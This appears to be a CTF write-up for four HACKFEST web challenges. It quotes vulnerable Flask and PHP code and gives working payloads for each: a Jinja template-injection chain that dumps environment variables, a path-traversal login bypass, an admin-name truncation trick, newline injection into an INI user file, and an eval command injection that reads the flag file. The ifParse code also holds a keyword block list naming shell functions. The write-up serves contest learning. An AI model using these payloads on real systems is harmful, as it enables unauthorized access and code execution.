[ University ]
We need to access to environment variable.
@app.route('/', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
try:
response = requests.get(f"http://localhost:5000/api/users/{username}/auth")
response.raise_for_status()
conn = connect_db()
cursor = conn.cursor()
cursor.execute('SELECT * FROM users WHERE username=?', (username,))
user = cursor.fetchone()
if user and user[2] == password:
session['username'] = username
session['session_token'] = secrets.token_hex(16)
return redirect(url_for('dashboard'))
elif user:
error = 'Invalid password'
return render_template('login.html', error=error)
elif response.status_code == 200:
session['username'] = username
session['session_token'] = secrets.token_hex(16)
return redirect(url_for('dashboard'))
except requests.RequestException as e:
error = 'Error occurred during username validation'
return render_template('login.html', error=error)
return render_template('login.html')
@app.route('/add_note', methods=['POST'])
def add_note():
if 'username' in session and 'session_token' in session:
if request.method == 'POST':
note_content = request.form['note']
note_content = request.form['note'].replace("'", "").replace('"', "").replace("[", "").replace("]", "").replace("request", "").replace("%", "")
session_token = session.get('session_token')
template = Template(note_content)
rendered_note = template.render()
conn = connect_db()
cursor = conn.cursor()
cursor.execute('INSERT INTO notes (username, note, session_token) VALUES (?, ?, ?)', (session['username'], rendered_note, session_token))
conn.commit()
conn.close()
return redirect(url_for('dashboard'))
return redirect(url_for('login'))
@app.route('/dashboard', methods=['GET'])
def dashboard():
if 'username' in session and 'session_token' in session:
session_token = session['session_token']
conn = connect_db()
cursor = conn.cursor()
cursor.execute('SELECT note FROM notes WHERE session_token=?', (session_token,))
notes = cursor.fetchall()
conn.close()
return render_template('dashboard.html', username=session['username'], session_token=session['session_token'], notes=notes)
return redirect(url_for('login'))
@app.route('/api/users/<username>/auth', methods=['GET']) # admin exists
def auth_user(username):
with connect_db() as conn:
cursor = conn.cursor()
cursor.execute('SELECT * FROM users WHERE username=?', (username,))
user = cursor.fetchone()
if user:
return 'OK'
else:
return 'Not Found', 404
There is no information about environment variables. We can see flag in Environment with flask server means SSTI vulnerability. Before SSTI, we need to login with any account.
@app.route('/', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
try:
response = requests.get(f"http://localhost:5000/api/users/{username}/auth")
response.raise_for_status()
conn = connect_db()
cursor = conn.cursor()
cursor.execute('SELECT * FROM users WHERE username=?', (username,))
user = cursor.fetchone()
if user and user[2] == password:
session['username'] = username
session['session_token'] = secrets.token_hex(16)
return redirect(url_for('dashboard'))
elif user:
error = 'Invalid password'
return render_template('login.html', error=error)
elif response.status_code == 200:
session['username'] = username
session['session_token'] = secrets.token_hex(16)
return redirect(url_for('dashboard'))
Actually, it doesn't need to exist "elif response.status_code == 200" but it does.
@app.route('/api/users/<username>/auth', methods=['GET']) # admin exists
def auth_user(username):
with connect_db() as conn:
cursor = conn.cursor()
cursor.execute('SELECT * FROM users WHERE username=?', (username,))
user = cursor.fetchone()
if user:
return 'OK'
else:
return 'Not Found', 404
Path traversal can be triggered if you send "../../health#" to this endpoint. The point is if you send parameter id as "../../health#" with any password, response "/" endpoint will return OK(response code = 200) and then you can get a session.
After getting session, let's trigger RCE with bypassing filtering word.
note_content = request.form['note'].replace("'", "").replace('"', "").replace("[", "").replace("]", "").replace("request", "").replace("%", "")
Filtering words are like this.
• PoC
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.environ }}
[ Identity Breach ]
// config.php
<?php
$FLAG = "HACKFEST{fake}"; // flag is here
$db_address = "172.16.0.6";
$db_username = "hackfestcaptain";
$db_password = "forgetaboutit";
?>
// account.php
<body>
<!-- Nav -->
<?php include_once("../phpconf/navbar.php"); ?>
<!-- NAV -->
<div class="content">
<div class="bannerleftAccount">
<h1 class="voila">
Command Center Dashboard
</h1>
<?php
if ($_SESSION["user"] === "admin") {
echo "<p>Hopefully you are the right captain. We are on hurry no time to check in, take the flag and let's move to the next operation.</p>";
echo "<span style='color: red;'>$FLAG</span>"; // flag is here
echo '<br><br><br><iframe width="500px" height="350px" src="https://www.youtube.com/watch?v=rqTmlyJp_6k&ab_channel=NightmaREE3Z" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>';
}
else {
echo "<p>Welcome " . htmlEntities($_SESSION['user'], ENT_QUOTES);
echo "<p>Noting to see here ¯\_(ツ)_/¯</p>";
}
?>
</div>
</div>
</body>
Flag is in config.php and we can get flag if enter into account.php with admin session. Let's check a DB structure and datas.
SET GLOBAL event_scheduler = ON;
CREATE DATABASE IF NOT EXISTS intelDB;
USE intelDB;
CREATE TABLE IF NOT EXISTS soldiers (
username CHAR(20),
password CHAR(20)
);
INSERT INTO soldiers VALUES ('admin', 'not_that_easy ;)');
Admin's password is prohibited. And there is another important point. "username" and "password" columns consist of 20 digits in CHAR format. We should use this point.
fetch("http://35.180.54.212:7500/registration_validation.php", {
"headers": {
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"accept-language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
"cache-control": "max-age=0",
"content-type": "application/x-www-form-urlencoded",
"upgrade-insecure-requests": "1"
},
"referrer": "http://35.180.54.212:7500/register.php",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": "username=admin+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++33333&password=asdf",
"method": "POST",
"mode": "cors",
"credentials": "include"
});
If you send request id parameter over than 20 words, you can register account whose name is "admin". Then you can get a flag.
[ Panel ]
@app.route('/dashboard')
def dashboard():
if 'username' not in session:
flash('Please log in to access the dashboard.')
return redirect(url_for('login'))
if session['username'] == 'admin' and session['role'] == 'admin' and session['access'] == 'flag':
flag = 'HACKFEST{fake}'
else:
flag = None
return render_template('dashboard.html', flag=flag)
You can get a flag if you have above specific session.
def register(username, password,role='guest',access='guest', file_path='users.ini'):
config = configparser.ConfigParser()
config.read(file_path)
if username in config.sections():
return False
config[username] = {
'username':username,
'password': password,
'role': role,
'access': access
}
with open(file_path, 'w') as configfile:
config.write(configfile)
return True
@app.route('/register', methods=['GET', 'POST'])
def register_route():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
registration_success = register(username,password,'guest','guest','users.ini')
if registration_success:
flash('Registration successful!')
return redirect(url_for('login'))
else:
return 'Registration failed. User exists.'
return render_template('register.html')
You can register but your role and access are defined as "guest". We have to bypass this part.
We can use newline character "\n" ( same as "%0d" in url) and then overwrite "access = guest" and "role = guest".
username=admin]%0Dusername = admin%0Dpassword = aax%0Drole = admin%0Daccess = flag%0D[aaa&password=a&role=a&access=a
[ ifParse ]
<?php
error_reporting(0);
highlight_file(__FILE__);
parseIfLabel($_GET['parse']);
function filterDangerousKeywords($s) {
$s = htmlspecialchars($s);
$dangerousKeywords = array('php', 'preg', 'server', 'chr', 'decode', 'html', 'md5', 'post', 'get', 'request', 'file', 'cookie', 'session', 'sql', 'mkdir', 'copy', 'fwrite', 'del', 'encrypt', '$', 'system', 'exec', 'shell', 'open', 'ini_', 'chroot', 'eval', 'passthru', 'include', 'require', 'assert', 'union', 'create', 'func', 'symlink', 'sleep', 'ord', 'str', 'source', 'rev', 'base_convert', 'systemctl', 'sudo', 'chmod', 'chown', 'iptables', 'netstat', 'ifconfig', 'adduser', 'useradd', 'usermod', 'groupadd', 'groupmod', 'passwd','flag');
$s = str_ireplace($dangerousKeywords, "*", $s);
if (preg_match("/^[a-z]$/i", $s)) {
die('Sorry, execution error occurred, dangerous character found');
}
return $s;
}
function parseIfLabel($content) {
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
if (preg_match_all($pattern, $content, $matches)) {
foreach ($matches[0] as $key => $ifLabel) {
$flag = '';
$outputHtml = '';
$ifCondition = filterDangerousKeywords($matches[1][$key]);
$ifCondition = str_replace(array('<>', 'or', 'and', 'mod', 'not'), array('!=', '||', '&&', '%', '!'), $ifCondition);
@eval('if(' . $ifCondition . '){$flag="if";}else{$flag="else";}');
if (preg_match('/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[2][$key], $matches2)) {
switch ($flag) {
case 'if':
$outputHtml .= isset($matches2[1]) ? $matches2[1] : '';
break;
case 'else':
$outputHtml .= isset($matches2[2]) ? $matches2[2] : '';
break;
}
} elseif ($flag == 'if') {
$outputHtml .= $matches[2][$key];
}
$content = str_replace($ifLabel, $outputHtml, $content);
}
}
return $content;
}
function splitString($s, $delimiter = ',') {
return empty($s) ? array('') : explode($delimiter, $s);
}
?>
This is a whole code. By regualr expression, we can execute command through "eval" function.
{if:+true)echo+`base64/fl*`;#}fff.{end+if}